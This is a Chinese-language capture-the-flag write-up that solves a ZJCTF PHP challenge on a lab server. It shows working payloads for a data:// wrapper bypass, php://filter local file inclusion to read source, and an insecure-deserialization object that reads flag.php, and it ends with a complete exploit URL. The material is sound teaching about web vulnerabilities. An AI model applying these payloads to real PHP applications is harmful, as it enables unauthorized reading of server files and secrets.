查看源代码
1 <?php 2 $text = $_GET["text"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"]; 5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 6 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 7 if(preg_match("/flag/",$file)){ 8 echo "Not now!"; 9 exit(); 10 }else{ 11 include($file); //useless.php 12 $password = unserialize($password); 13 echo $password; 14 } 15 } 16 else{ 17 highlight_file(__FILE__); 18 } 19 ?>
代码第5行,file_get_contents()存在漏洞,可以使用php://input伪协议或者data协议进行绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
php://input协议,以post的方式传递welcome to the zjctf
data协议,d2VsY29tZSB0byB0aGUgempjdGY=为base64加密的welcome to the zjctf
http://6ebd5254-e19e-41e6-87a5-da70ba3b8a1b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
接着查看代码第11行,include()存在文件包含漏洞,没有对file变量进行过滤,可以使用php://filter协议来读取useless.php
http://6ebd5254-e19e-41e6-87a5-da70ba3b8a1b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
解密base64后,得到如下源码
1 <?php 2 class Flag{ //flag.php 3 public $file; 4 public function __tostring(){ 5 if(isset($this->file)){ 6 echo file_get_contents($this->file); 7 echo "<br>"; 8 return ("U R SO CLOSE !///COME ON PLZ"); 9 } 10 } 11 } 12 ?>
代码第6行file_get_contents()能够获取文件内容,结合首页源代码unserialize()存在反序列化漏洞
include($file); //useless.php $password = unserialize($password); echo $password;
将$file变量赋值flag.php,然后在本地序列化的结果输出,然后赋值给变量$password
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $flag = new Flag(); echo serialize($flag);
序列化的结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
http://6ebd5254-e19e-41e6-87a5-da70ba3b8a1b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码便可获取flag